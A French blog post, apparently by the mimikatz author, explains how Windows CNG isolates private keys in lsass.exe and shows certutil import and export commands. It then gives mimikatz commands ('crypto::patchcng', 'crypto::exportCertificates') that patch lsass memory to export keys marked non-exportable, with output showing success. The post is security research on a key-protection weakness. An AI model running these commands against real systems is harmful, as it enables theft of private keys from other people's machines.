Cryptography API: Next Generation et export de clés privées (aperçu)

Un petit billet sur la gestion de l’export des clés privées par la CNG (Cryptography API: Next Generation)…

Petite introduction

Un peu de documentation sur ces API pour commencer :

Il est plus qu’aisé de sortir des clés privées « non exportables » gérées par la CryptoAPI, en effet celles-ci sont traitées directement dans la mémoire du processus appelant, et donc totalement à notre merci (JNZ qui deviennent JMP…).
Microsoft a fait un petit pas sur ce sujet, il a décidé d’isoler les clés privées dans le processus « sécurisé » lsass.exe, via le service KeyIso.

Bénéficier de la CNG

Il est malheureusement très difficile de bénéficier de cette avancée, en effet, lors de l’import d’un PFX ou d’un P12 il ne nous est pas proposé de sélectionner le nouveau provider KSP : « Microsoft Software Key Storage Provider », l’on se retrouve donc de manière automatique avec les providers par défaut de la CryptoAPI… quelle avancée !

Pour passer par la CNG l’on doit :

  • programmer (!)
  • utiliser un outil ayant fait ses preuves dans le domaine de la convivialité : certutil

Exemple d’import avec certutil :

  • Avec clé exportable : certutil -user -p waza -csp "Microsoft Software Key Storage Provider" -importpfx test.p12
  • Avec clé « non » exportable : certutil -user -p waza -csp "Microsoft Software Key Storage Provider" -importpfx test.p12 NoExport

Résultat, la CNG est tellement sécurisée, que notre MMC préférée (certmgr.msc) est, pour le moment, incapable d’exporter une clé exportable…

Notre seule solution :
certutil -user -p export_waza -privatekey -exportpfx test export_test.p12

Jouons avec lsass

Manipuler quelques octets dans lsass.exe n’est pas très compliqué :

mimikatz # crypto::patchcng
CNG@lsass patché !

mimikatz # crypto::exportCertificates
Emplacement : 'CERT_SYSTEM_STORE_CURRENT_USER'\My
         - test
                Container Clé : test-a9282d11-cbcb-4154-90f7-c94138850d63
                Provider      : Microsoft Software Key Storage Provider
                Exportabilité : NON
                Taille clé    : 2048
                Export privé dans  'CERT_SYSTEM_STORE_CURRENT_USER_My_0_test.pfx' : OK
                Export public dans 'CERT_SYSTEM_STORE_CURRENT_USER_My_0_test.der' : OK

Même certutil a l’air d’accord…

================ Certificat 0 ================
Numéro de série : 07
Émetteur: CN=test, C=FR
 NotBefore : 12/04/2011 02:10
 NotAfter : 11/04/2012 02:10
Objet: CN=test, C=FR
La signature correspond à la clé publique
Certificat racine : le sujet correspond à l’émetteur
Modèle:
Hach. cert. (sha1) : 68 61 30 0d 9a 8d 9a 85 e5 d6 9b 0d aa d2 b7 2e e3 67 09 0a
  Conteneur de clé = test-a9282d11-cbcb-4154-90f7-c94138850d63
  Fournisseur = Microsoft Software Key Storage Provider
La clé privée NE PEUT PAS être exportée
Succès du test de chiffrement
CertUtil: -exportPFX La commande s’est terminée correctement.

Inclus dans mimikatz (article : http://blog.gentilkiwi.com/mimikatz/crypto#patchcng)

Shhh…

…avec quelques adaptations, cela marche (pour le moment) avec Windows 8 build 7850…
(l’audit n’est pas encore implémenté)

CNG Export sous Windows 8 build 7850

2 réflexions au sujet de « Cryptography API: Next Generation et export de clés privées (aperçu) »

  1. Bonjour,

    j’ai généré un fichier pfx contenant un certificat avec une paire de clé.
    J’utilise windows XP et je souhaite bénéficier de la CNG.

    J’ai donc utilisé la commande décrite dans votre article :
    certutil -user -p waza -csp « Microsoft Software Key Storage Provider » -importpfx test.p12

    première question, je suis sous windows xp, pensez-vous que cette option -csp est supportée ?
    deuxième question : quand j’exécute la commande une erreur est remontée CertUtil: Le certificat spécifié est auto-signé.
    301.3128.0: 0x80092007 (-2146885625)
    avez vous une idée de comment généré un certificat de test pour importer mon .pfx ?
    En vous remerciant par avance pour vos réponse.
    Pierrick

    • Bonjour,

      Le message d’erreur n’est pas adéquat, mais c’est en fait parceque la CNG n’est pas supportée sous XP.

      CNG is first available in Windows Vista and is positioned to replace existing uses of CryptoAPI throughout the Microsoft software stack.

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *